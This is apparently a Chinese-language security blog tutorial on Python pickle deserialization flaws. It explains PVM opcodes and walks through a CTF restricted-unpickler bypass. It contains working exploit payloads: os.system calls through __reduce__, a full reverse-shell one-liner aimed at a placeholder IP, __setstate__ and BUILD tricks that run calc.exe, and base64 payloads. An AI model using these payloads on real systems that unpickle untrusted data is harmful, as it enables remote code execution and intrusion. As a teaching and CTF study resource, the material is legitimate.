Python反序列化漏洞学习

 Von's Blog     2020-03-29   14790 words    & views

Python序列化和反序列化

和PHP反序列化类似,Python序列化和反序列化的过程就是把对象转化成字符串和把字符串转化成对象的过程。
我们主要运用的是pickle这个库来实现序列化和反序列化的过程。下面,我们举一个例子来说明其工作方式:

import pickle

class name():
    def __init__(self):
        self.name = 'Von'
        self.date = 20200329

flag = name()
a = pickle.dumps(flag)
print(a)
b = pickle.loads(a)
print(b.name)

输出结果为:

b'\x80\x03c__main__\nname\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00Vonq\x04X\x04\x00\x00\x00dateq\x05J\x89;4\x01ub.'
Von

可以看到,我们成功通过反序列化的方式恢复了之前我们序列化进去的类对象并成功的执行了对象的方法.
我们需要注意以下两点: 1.: 如果我在反序列化以前删除了name()这个类,那么我们在反序列化的过程中因为对象在当前的运行环境中没有找到这个类就会报错,从而反序列化失败。
2.: 对于我们自己定义的class,如果直接以形如下面这种形式:

class name():
    date = 20200329
    name = 'Von'

那么序列化时这两个数据将不会被打包,只有以上面第一个例子中一样写一个__init__方法才能被进行打包.

反序列化的底层实现

PVM

PVM(Python 虚拟机)是实现Pickle反序列化最本质的东西。在反序列化的过程中,我们可以把它理解成字符串经过PVM处理后,被转化成一个对象的过程。 而字符串本身就是一串PVM指令。 Pickle实际上是一门栈语言,他有不同的几种编写方式,pickle构造出的字符串,有很多个版本。在pickle.loads时,可以用Protocol参数指定协议版本,例如指定为0号版本:

class name():
    def __init__(self):
        self.date = 20200329

flag = name()
a = pickle.dumps(flag,protocol=0)

如代码所示,我们可以通过protocol参数来设置序列化方式,目前这些协议有0,2,3,4号版本,默认为3号版本。这所有版本中,0号版本是人类最可读的.pickle协议是向前兼容的。0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。 和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有”变量名”这个概念,所以可能有点难以理解。pickle的内容存储在如下两个位置中: 1. stack 栈 2. memo 一个列表,可以存储信息 为了理解反序列化的过程,我们就必需了解相关PVM操作码。

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding
​
TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

其中我们要重点了解以下几个: c : 读取本行的内容作为模块名(module),读取下一行的内容作为对象名(object),然后将 module.object作为可调用对象压入到栈中。
( : 将一个标记对象压入到栈中,用于确定命令执行的位置,该标记常常搭配t指令一起使用,以便产生一个元组。
0 :弹出栈项的元素并丢弃。
S : 后面跟字符串,PVM会读取引号中的内容,直到遇见换行符,然后将读取到的内容压入到栈中。(结果要有\n分隔)
0 :弹出栈项的元素并丢弃
t : 从栈中不断弹出数据,弹射顺序与压栈时相同,直到弹出左括号.此时弹出的内容形成了一个元组,然后,该元组会被压入栈中。
R : 将之前压入栈中的元组和可调用对象全部弹出,然后将该元组作为可调用参数的对象并执行该对象,最后将结果压入到栈中。
b : 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置
. : 结束整个Pickle反序列化过程。
详细的PVM操作码可以在python3的安装目录里搜索pickle.py查看。

实例分析

上面说了那么多,可能大家都还是有些云里雾里的,下面我就以两个小例子来分析反序列化的过程:

第一个

#python3
class A():
    def __reduce__(self):
        cmd = "whoami"
        return (os.system,(cmd,))

对其进行序列化的类如下,其序列化后的字符串长这样:

cnt
system
p0
(Vwhoami
p1
tp2
Rp3
.

对其进行分析: 首先c操作码代表引入模块和对象,在这里是引入nt库模块的system对象并压入栈中,注意模块和对象以\n分隔(nt库就是Windows上os库的具体实现,如果是在Linux上则为posix库)

STACK memo
nt.system  
<Stack Bottom> <memo list>

接下来的p0操作表示将对象存储到memo的第0个位置.

STACK memo
nt.system nt.system[0]
<Stack Bottom> <memo list>

然后(操作码代表压入一个标志(MARK)到栈中,表示元组的开始位置.

STACK memo
MARK  
nt.system nt.system[0]
<Stack Bottom> <memo list>

接下来又通过V操作引入了”whoami”这个字符串到栈中

STACK memo
“whoami”  
MARK  
nt.system nt.system[0]
<Stack Bottom> <memo list>

接下来的p1操作表示将对象存储到memo的第1个位置

STACK memo
“whoami”  
MARK “whoami”[1]
nt.system nt.system[0]
<Stack Bottom> <memo list>

接下来的t操作表示从栈顶开始,找到最上面的MARK也就是(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中(同时MARK消失).

STACK memo
(“whoami”) “whoami”[1]
nt.system nt.system[0]
<Stack Bottom> <memo list>

接下来的p2操作表示将对象存储到memo的第2个位置

STACK memo
  (“whoami”)[2]
(“whoami”) “whoami”[1]
nt.system nt.system[0]
<Stack Bottom> <memo list>

接下来的R操作就是将之前压入栈的元组和可调用对象弹出并执行,将执行结果返回栈中,在这里我们执行的是nt.system(“whoami”),我们把返回结果记为RESULT

STACK memo
  (“whoami”)[2]
  “whoami”[1]
RESULT nt.system[0]
<Stack Bottom> <memo list>

接下来的p3操作表示将对象存储到memo的第4个位置

STACK memo
  RESULT[3]
  (“whoami”)[2]
  “whoami”[1]
RESULT nt.system[0]
<Stack Bottom> <memo list>

最后.表示结束反序列化过程
值得注意的是,我们可以发现,在这个过程中,p操作基本上没什么用的,memo只是单纯起到了一个存储的功能而已,我们可以把所有的p操作去掉,仅为:

cnt
system
(Vwhoami
tR.

对其进行反序列化,可以看到,仍然成功输出了结果 细心的你可能注意到了,在这个过程中程序竟然执行了危险的system(“whoami),这也是我们下一部分即将讲的内容. 还有一点,pickle.loads会自行解决import问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

第二个例子及pickletools的使用

class Stu():
    def __init__(self,name):
        self.name = name
        self.date = date

Student = Stu('Von',20200404)
#因为对于类来说,protocol=0实现太过麻烦,我们以默认的protocol=3来分析
x = pickle.dumps(Student)
print(x)
# b'\x80\x03c__main__\nStu\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00Vonq\x04sb.'

我们还可以调用系统自带的pickletools库来协助我们分析pickle代码.

#..
import pickletools
x = pickletools.optimize(x)
print(x)
#b'\x80\x03c__main__\nStu\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00VonX\x04\x00\x00\x00dateJ\xd4;4\x01ub.'

我们采用optimize来优化了x,可以看到x现在短了很多,就是自动帮我们省去了例如第一个例子那些p操作.
我们还可以使用dis来看到每一步的操作原理.

#..
pickletools.dis(x)

输出结果为:

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Stu'
   16: )    EMPTY_TUPLE
   17: \x81 NEWOBJ
   18: }    EMPTY_DICT
   19: (    MARK
   20: X        BINUNICODE 'name'
   29: X        BINUNICODE 'Von'
   37: X        BINUNICODE 'date'
   46: J        BININT     20200404
   51: u        SETITEMS   (MARK at 19)
   52: b    BUILD
   53: .    STOP

接下来我们就跟着pickletools的步伐,一起分析下上面的序列化字符串.

'\x80\x03c__main__\nStu\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00VonX\x04\x00\x00\x00dateJ\xd4;4\x01ub.'

可以看到,在protocol=3中,出现了很多不可见字符(出于这个原因,我们传输的时候可以将其进行base64编码),但是一些主要的操作码我们仍然可以认出来.
1.\x80\x03 字符串的第一个字节是\x80,机器看到这个操作符,立刻再去字符串读取一个字节,得到x03.解释为”这是一个依据3号协议序列化的字符串”
2.c__main__\nStu\n 接下来的c操作大家已经很熟悉了,就是引入__main.__.Stu压入栈中 3.) )这个操作表示建立一个新元组压入栈中
4.\x81 \x81大概的操作就是从栈中弹出一个参数和一个class,然后利用这个参数实例化class,把得到的实例压进栈.
5.} 这里就是新建一个空字典进栈.
6.( 新建一个标记MARK.
7.X\x04\x00\x00\x00name 这里就是将一个字符串’name’进栈.
8.X\x03\x00\x00\x00Von 将字符串’Von’进栈.
9.X\x04\x00\x00\x00date 将字符串’date’进栈.(对比上面三个可以发现第一个x03的数字其实是插入的字符串的长度) 10.J\xd4;4\x01 这里是将20200404插入栈中,但至于是怎么生成这个值的,我还没弄清楚….. 11.u 这里的u操作就是把从MARK到u前面的元素存进一个数组[‘name’,’Von’,’date’,20200404],再把栈恢复到MARK前的状态.此时,栈中有两个元素,一个是__main__.Stu对象,一个是空字典(栈顶)
此时,会把栈顶的字典弹出(要求栈顶一定是字典),将刚刚那个数组两两一对构造一个字典{‘name’:’Von’,’date’:20200404},再将这个字典压入栈中.
12.b 这一步的操作就是按照栈中的字典,对创建出来的实例化对象进行属性赋值. 13.. 结束反序列化.

__reduce__(曾经的王者)

__reduce__这个函数有点类似于PHP中的__wakeup__函数.简单说来,就是如果当__reduce__返回值为一个元组(2到5个参数),第一个参数是可调用(callable)的对象,第二个是该对象所需的参数元组.在这种情况下,反序列化时会自动执行__reduce__里面的操作.
具体可以看下面两个例子:

#pyton2
import pickle
import os
class A(object):
    def __reduce__(self):
        return (os.system,('ls',))
a = A()
test = pickle.dumps(a)
pickle.loads(test)

可以看到成功执行了命令: 在这里注意下Python2和Python3的写法区别,具体我不在这里讲.
可以参考这篇文章python深入学习(一):类与元类(metaclass)的理解

#反弹shell
import pickle
import os
class A(object):
    def __reduce__(self):
        shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(shell,))    
a=A()
result = pickle.dumps(a)
pickle.loads(result)

可以看到,成功反弹shell. 从上面的例子其实可以知道,PVM指令码中的R指令码其实就是_ _reduce__方法的底层实现.

全局变量覆盖

我们来看看下面的代码:

import pickle
import test
import base64

class Stu():
    def __init__(self,name,date):
        self.name = name
        self.date = date

    def __eq__(self,other):
        return type(other) is Stu and 
        self.name == other.name
        and self.date==other.date

def check(data):
    if (b'R' in data):
        return 'Hacker!!!'
    x = pickle.loads(data)
    if (x != Stu(test.name,test.date)):
        return 'False!!!'
    return 'Success!'

print(check(base64.b64decode(input())))

对于这道题,我们需要传入一个data使之能够返回Success.关键之处在于test.name和test.date我们是不知道的,那么这时我们就需要来手写序列化字符串了.
我们以上面的:

b'\x80\x03c__main__\nStu\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00VonX\x04\x00\x00\x00dateJ\xd4;4\x01ub.'

为模板,我们只需要把编码’Von’和20200404的X\x03\x00\x00\x00Von和J\xd4;4\x01改为ctest\nname\n和ctest\ndate\n即可.Payload:

b'\x80\x03c__main__\nStu\n)\x81}(X\x04\x00\x00\x00namectest\nname\nX\x04\x00\x00\x00datectest\ndate\nub.'
# base64后为:
gANjX19tYWluX18KU3R1CimBfShYBAAAAG5hbWVjdGVzdApuYW1lClgEAAAAZGF0ZWN0ZXN0CmRhdGUKdWIu

可以看到,成功输出Success.

限制了module怎么办?

c指令基于find_class这个方法,然而find_class可以被出题人重写.如果出题人只允许c指令包含__main__这一个module,这道题又该如何解决呢?
我们仍然以上面那个例子进行分析,由于限制了引入module,此时我们就不能有类似test.name的引入了,因此我们的思路是先篡改,再引入.
1. 通过__main__.test引入这一个module,由于命名空间还在main内,故不会被拦截
2. 把一个dict压进栈,内容是{‘name’:’Von’,’date’:’2020’} 3. 执行b指令,会导致改写__main__.test.name和__main__.test.date,至此test.name和test.date已经被篡改成我们想要的内容 4. 弹掉栈顶,现在栈变成空的 5. 照抄正常的Stu序列化之后的字符串,压入一个正常的Stu对象,name和date分别是’Von’和’2020’(这里不采用int类型存储date,因为会像上文一样生成奇怪的值,麻烦了些) 有了上面的几个例子,相信大家已经对相关流程很熟悉了,我就直接放payload了.

b'\x80\x03c__main__\ntest\n}(Vname\nVVon\nVdate\nV2020\nub0c__main__\nStu\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00VonX\x04\x00\x00\x00dateX\x04\x00\x00\x002020ub.'
#base64
gANjX19tYWluX18KdGVzdAp9KFZuYW1lClZWb24KVmRhdGUKVjIwMjAKdWIwY19fbWFpbl9fClN0dQopgX0oWAQAAABuYW1lWAMAAABWb25YBAAAAGRhdGVYBAAAADIwMjB1Yi4=

可以看到,成功输出了Success!,并且试着输出test.name和test.date的值,发现已经被篡改.

不用Reduce,也能RCE

在这里我们要先了解一个知识点:重点来讲讲b操作.b操作用来对更新对象的属性.比如以上面的例子为例:

<Stack>
{‘name’:’Von’,’date’:20200404}
__main__.Stu对象

b操作进行的具体操作是,把当前栈栈顶记为state,然后弹掉.再把当前栈栈顶记为inst,然后弹掉.利用state这一系列的值来更新实例inst.把得到的对象扔进当前栈.
注意: 如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理:否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面.
这里面其实存在着一个安全隐患.就是Stu原先是没有__setstate__这个方法的.那么我们利用{‘__setstate__’: os.system}来BUILD这个对象,那么现在对象的__setstate__就变成了os.system;接下来利用”ls /”来再次BUILD这个对象,则会执行setstate(“calc.exe”) ,而此时__setstate__已经被我们设置为os.system,因此实现了RCE. 故有payload:

b'\x80\x03c__main__\nStu\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'

可以看到,成功弹出计算器. 有一个可以改进的地方:这份payload由于没有返回一个Stu,导致后面抛出异常.要让后面无异常也很简单:执行完了恶意代码之后把栈弹到空,然后压一个正常Stu进栈.payload构造如下:

b'\x80\x03c__main__\nStu\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb0c__main__\nStu\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00VonX\x04\x00\x00\x00dateX\x08\x00\x00\x0020200405ub.'

这样就不会报错了.
除此以外,我们还可以利用i,o操作码来进行函数执行.

#i操作码
b'''(S'whoami'
ios
system
.'''
#o操作码
b'''(cos
system
S'whoami'
o.'''

这些就不过多赘述了,详细的大家可以自己去看源码.

神器pker

从上面的过程可以看出,自己手写序列化字符串是一件挺繁琐的事情,这时我们就需要一个神器pker来辅助我们了Github地址
pker主要用到GLOBALINSTOBJ三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:

GLOBAL
用来获取module下的一个全局对象,对应操作码c
Eg:GLOBAL('os', 'system')

INST
建立并入栈一个对象(可以执行一个函数),对应操作码i
Eg:INST('os','system','ls')
输入:module,callable,para

OBJ
建立并入栈一个对象(传入的第一个参数为callable可以执行一个函数),对应操作码o
Eg:OBJ(GLOBAL('os','system'),'ls')
输入:callable,para

xxx(xx,...)
使用参数xx调用函数xxx,对应操作码R

li[0]=321或globals_dic['local_var']='hello'
更新列表或字典的某项的值,对应操作码s

xx.attr=123
对xx对象进行属性设置,对应操作码b

return
出栈,对应操作码0
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

几个小例子:

s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return

将此代码保存,文件名为666,使用方法如下:

# 全局变量覆盖举例
secret=GLOBAL('__main__', 'secret') 
secret.name='1'
secret.category='2'

我们以刚刚上面那道只允许引入__main__模块的变量覆盖为例,看看pker代码.

student = GLOBAL('__main__','test')
student.name = 'Lu'
student.date = '20200405'
new = INST('__main__', 'Stu','Lu','20200405')
return new

可以看到,这样大大减轻了压力,简直是做题神器,当然,这样的构造其实也要建立在对PVM操作码的理解上,所以能够手写还是有很大的必要的.

CTF实例

Code-Breaking picklecode

这是P神出的一道题目,其实还考察了其他知识点,但是我们直接来看和反序列化相关的内容.

import pickle
import base64
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)

        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

restricted_loads(base64.b64decode(input()))

代码的主要内容就是限制了反序列化的内容,规定了我们只能引用builtins这个模块,而且禁止了里面的一些函数.但是没有禁止getattr这个方法,因此我们可以构造builtins.getattr(builtins,’eval’)的方法来构造eval函数.pickle不能直接获取builtins一级模块,但可以通过builtins.globals()获得builtins;这样就可以执行任意代码了.

理解了思路后,我们就可以用Pker构造了

getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
eval=getattr(builtins,'eval')
eval('ls')
return

参考文章

知乎阮行止大佬的文章
通过AST来构造Pickle opcode
pickle反序列化初探
P神的文章
Code Breaking picklecode复现